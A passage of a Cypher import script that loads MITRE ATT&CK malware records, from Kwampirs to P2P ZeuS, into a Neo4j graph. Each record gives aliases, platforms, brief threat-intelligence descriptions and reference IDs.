id:"malware--5dd649c0-bca4-488b-bd85-b180474ec62e", external_references:["632e1dae-3d1f-4508-a4ab-707052b16dda", "6787eb78-5aba-46f4-b76b-bd44e98a1091", "8f9a24f8-2fa7-43fd-a1ae-b7201025cd07", "458b8451-f68e-47d5-b76d-151d35016fa2", "da60df8a-9e0c-4984-bcd5-87cfbac1b1b4"]}}, {_id:10351, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Kwampirs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre\"]}", description:"[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Kwampirs", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", external_references:["0af1249a-9b3e-47c5-b68b-25c986078e03", "189ec950-3eb1-47c9-abf7-b9c15176775a", "de410e15-2817-4865-8bec-3d04540e8952"]}}, {_id:10358, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-28T13:09:26.710Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"LightNeuron\"]}", description:"[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"LightNeuron", modified:"2019-07-16T17:12:00.360Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", external_references:["33c90856-8848-4a9a-a483-80d907a7fa0d", "963771ee-1202-4547-867f-2c76f6a724fe"]}}, {_id:10374, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-16T19:00:49.435Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.2\",\"x_mitre_aliases\":[\"LockerGoga\"]}", description:"[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"LockerGoga", modified:"2019-10-10T12:16:50.185Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", external_references:["808f1b6e-0dd5-48df-a72c-ffb9dd8b3385", "9ccd638f-da2a-4ad8-a942-fa803960887f", "5afb2627-8eda-40ab-8251-2cd4e71988fb"]}}, {_id:10382, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"MURKYTOP\"],\"x_mitre_version\":\"1.0\"}", description:"[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"MURKYTOP", modified:"2019-04-22T23:25:33.378Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--049ff071-0b3c-4712-95d2-d21c6aa54501", external_references:["99fda00e-c4a6-4d86-954b-11d734331d65", "e4cfaf60-5996-483f-9ca1-822119698257", "44076716-a58a-4d60-a268-3bd19e19999b"]}}, {_id:10386, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_aliases\":[\"MacSpy\"],\"x_mitre_version\":\"1.0\"}", description:"[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb  (Citation: objsee mac malware 2017).", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"MacSpy", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f72251cb-2be5-421f-a081-99c29a1209e7", external_references:["145f4888-d400-4d5e-972e-44893519a940", "69aec27e-e387-4219-891b-6141be1bc1c5", "5390147a-0a83-4d2d-acb5-e8876845cf57"]}}, {_id:10390, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-09-13T13:17:25.718Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Machete\"],\"x_mitre_contributors\":[\"Matias Nicolas Porolli, ESET\"]}", description:"[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Machete", modified:"2019-10-15T21:19:27.277Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--35cd1d01-1ede-44d2-b073-a264d727bc04", external_references:["2865732a-6168-4443-b79f-0f4a6fa828a8", "cd7c4b6f-8f20-430c-8f2b-a144ba6a9bca", "b180985f-01f3-4645-bd07-04e1e49d8b1b", "1f1b9444-0ea9-45b8-8be9-d98fa4829c7a"]}}, {_id:10395, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Matroyshka\"],\"x_mitre_version\":\"1.0\"}", description:"[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Matroyshka", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--1cc934e4-b01d-4543-a011-b988dfc1a458", external_references:["091a22cf-81f3-4fba-ae88-98a598730f6a", "22c5ad33-1d2c-4cfc-9d1f-8c60dc3e2756", "f375b49d-d0b3-4e79-8510-a53703281079", "79b1bcf6-392d-479c-966d-87a2e469f061"]}}, {_id:10400, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T21:47:53.070Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Micropsia\"]}", description:"[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Micropsia", modified:"2019-04-17T22:05:05.681Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--8c050cea-86e1-4b63-bf21-7af4fa483349", external_references:["346f9aa4-9b90-4c48-a0af-ec263e0d4ec1", "d919d626-04c9-4c22-a4e3-2bb954d3b10d", "5464f63e-8b43-4880-94c3-2914dbe1c800", "9acc16b1-d6c3-4bb3-8891-59613f1b6f66"]}}, {_id:10405, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:16.315Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Miner-C\",\"Mal/Miner-C\",\"PhotoMiner\"],\"x_mitre_version\":\"1.0\"}", description:"[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Miner-C", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", external_references:["f59586f9-2302-4d27-ba53-91176f8d395a", "943f2618-7b74-436b-bcf7-e8580436116f"]}}, {_id:10415, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:55.565Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Mis-Type\"],\"x_mitre_version\":\"1.0\"}", description:"[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Mis-Type", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", external_references:["f65d63b1-b365-48aa-9931-d0fc3db570d9", "c4ab9425-6c40-4d92-8421-89beb19c66de"]}}, {_id:10418, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:55.126Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Misdat\"],\"x_mitre_version\":\"1.0\"}", description:"[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Misdat", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", external_references:["4e361db7-13dc-48b6-b954-d6aaaba61518", "a6a364f7-a225-4c1b-bfc6-ee3217c2ed84"]}}, {_id:10429, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:27.016Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"MoonWind\"],\"x_mitre_version\":\"1.0\"}", description:"[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"MoonWind", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", external_references:["1d6d8be3-a1b4-42aa-830f-574794319b4f", "e72225d5-d9af-4aa3-bb5e-b16bea62cbd0"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:10432, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"2.0\",\"x_mitre_aliases\":[\"More_eggs\",\"Terra Loader\",\"SpicyOmelette\"],\"x_mitre_contributors\":[\"Drew Church, Splunk\"]}", description:"[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"More_eggs", modified:"2019-10-15T18:54:44.884Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", external_references:["90d7a2eb-7727-41c0-9f3e-860a654c2d51", "63e00178-39d3-42c7-a2e9-3f305c33d981", "5152d4c8-bdf7-4263-b275-be839341f7b6", "6adeeb2e-2197-47f9-905a-2a01d5991a7e", "4cfd2772-c360-4b87-b15e-0ba61f10d7ed", "38a315f2-0aec-4100-897a-51aea1f44225", "5c653c9e-e887-4170-af85-e2c9f768f9d4"]}}, {_id:10440, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Mosquito\"],\"x_mitre_version\":\"1.0\"}", description:"[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Mosquito", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--92b55426-109f-4d93-899f-1833ce91ff90", external_references:["a19a34e5-1cad-419a-91d8-33d1e444435c", "7a8b5c16-40d5-4da6-aef9-5a091fd33f95", "b3aeb059-3f58-4362-a492-c1eb62fcff6b"]}}, {_id:10451, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"NETWIRE\"],\"x_mitre_version\":\"1.0\"}", description:"[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"NETWIRE", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--2a70812b-f1ef-44db-8578-a496a227aef2", external_references:["5a10213d-b95a-440a-b13d-bf7e2158e0a9", "234fc8ba-2a90-4555-9482-54415a6574aa", "d0dd7976-9b07-441e-8765-78ca449514c4", "ce006c83-4713-4adf-b080-b9e98edc7136", "7d60df54-ebff-4eb0-9b59-fea5f0377046"]}}, {_id:10457, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T19:50:45.307Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"NOKKI\"],\"x_mitre_version\":\"1.0\"}", description:"[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"NOKKI", modified:"2019-01-31T00:38:08.331Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", external_references:["5ad08051-60f6-4abc-a35c-2775b4f0f43b", "f7cca48e-9744-4ce4-a8b7-191e84c7bc30", "e32ecb76-02ac-45ad-8758-6141a8175334", "e21ab1a0-ecf5-4344-a511-b03247de45d0"]}}, {_id:10472, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T20:05:35.952Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"NanoCore\"]}", description:"[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"NanoCore", modified:"2019-04-17T20:47:23.692Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", external_references:["61884d54-e874-45b2-80dd-1ed5c1a5f5dd", "65f13501-2a74-4afd-b98f-175705173e95", "3774938b-1767-4469-812b-d4d8703cc85c", "9936f804-1799-4be8-ae12-d7b7fac97a14", "c4262177-0e8c-463d-8fc1-2467c21c0c27", "53040c57-69fb-4a46-8f72-af9e5ea5260f"]}}, {_id:10479, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"NavRAT\"],\"x_mitre_version\":\"1.0\"}", description:"[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"NavRAT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--53a42597-1974-4b8e-84fd-3675e8992053", external_references:["5934c7bf-119c-4d01-892f-fe1695fa3162", "e0d31700-5948-40a6-a6be-98232e67e3a2", "b3eb6101-462a-447a-99ea-e70363d75bb0"]}}, {_id:10491, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:25.361Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"NetTraveler\"],\"x_mitre_version\":\"1.0\"}", description:"[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"NetTraveler", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", external_references:["91fe3be0-181c-4c6a-84b0-b51d625b21dc", "2934e93e-de69-4274-87d3-a1a0b1da20a4"]}}, {_id:10494, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:09.842Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Nidiran\",\"Backdoor.Nidiran\"],\"x_mitre_version\":\"1.0\"}", description:"[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Nidiran", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", external_references:["97ccd05b-efaf-4113-bb82-2b861487aa8b", "e671dcb5-9375-4fdd-bd1f-a69ed4c4f578"]}}, {_id:10497, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-26T15:02:14.907Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"NotPetya\",\"GoldenEye\",\"Petrwrap\",\"Nyetya\"]}", description:"[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"NotPetya", modified:"2019-10-04T22:01:15.893Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", external_references:["30b2954b-8f1c-4473-9d3f-4dba5d9e3cdd", "77f55d52-6965-4074-b882-503abb72b221", "ee05306c-c6ff-4ff1-9bd4-b79c8cdd3f3e", "344aa355-4e13-4921-bafd-fa02475754c9", "fe41a84f-2d59-4ce8-af44-7e5296c3566d", "05ebd26f-8532-4d73-a8e4-16e02f109784"]}}, {_id:10504, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:18.946Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"OLDBAIT\",\"Sasfis\"],\"x_mitre_version\":\"1.0\"}", description:"[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"OLDBAIT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", external_references:["e8818864-33d3-41e2-ab5b-2d11295f7dbf", "76c26d92-9c26-4efa-96e5-481c9aa3839a", "ab3ef8ec-7c08-440b-83ef-7bc16810afba"]}}, {_id:10508, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"OSInfo\"],\"x_mitre_version\":\"1.0\"}", description:"[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"OSInfo", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", external_references:["ac706c55-6c47-4662-9629-cca1d9f7b8b6", "28463f64-b015-43b7-a107-63718938251c"]}}, {_id:10511, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-08-29T18:52:20.879Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"OSX/Shlayer\",\"Crossrider\"]}", description:"[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"OSX/Shlayer", modified:"2019-10-14T19:39:29.576Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", external_references:["3195fecc-5c2b-4054-8e5b-c8b69d79a75b", "034d9232-6b39-425d-bc9b-c111fa4085c7", "f78730d8-9d6b-435c-8db9-fa2ccc0f8573", "90ffca25-18b4-4c56-8826-5d7fad96b670", "1c6a78ae-4cc8-4b83-9401-802abdd10577", "0b202658-7a8e-4413-b784-81c81a21c26b", "958e8bf3-2475-4888-9756-f52371a18771"]}}, {_id:10531, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-25T14:07:22.547Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Olympic Destroyer\"],\"x_mitre_version\":\"1.1\"}", description:"[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) ", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Olympic Destroyer", modified:"2019-10-04T21:49:25.695Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--3249e92a-870b-426d-8790-ba311c1abfb4", external_references:["4251255a-705e-45ea-95b2-c15e110eeb13", "aee992a1-2f17-4a67-ada5-08c29b735bc4"]}}, {_id:10542, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Orz\",\"AIRBREAK\"],\"x_mitre_version\":\"2.0\"}", description:"[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Orz", modified:"2019-10-15T18:32:32.073Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", external_references:["d5568675-7038-43d7-ab43-617d537b35d8", "e2ba5438-02b4-4740-9910-9549c57aa5e2", "d9f7a05a-4f7c-4580-b14b-886d2ddd20c5", "2df579bf-bb08-40cb-b8f5-630d8c904074", "231528f1-c98f-4ceb-b4b7-086438b85c2d"]}}, {_id:10548, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:47.412Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"OwaAuth\"],\"x_mitre_version\":\"1.0\"}", description:"[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"OwaAuth", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", external_references:["be0e385f-9deb-4201-a56c-07eec2bc2f5c", "fe1b71ff-8292-46c9-930e-c42980575aee"]}}, {_id:10551, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:16.715Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"P2P ZeuS\",\"Peer-to-Peer ZeuS\",\"Gameover ZeuS\"],\"x_mitre_version\":\"1.0\"}", description:"[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"P2P ZeuS", modified:"2018-10-17T00:14:20.652Z", 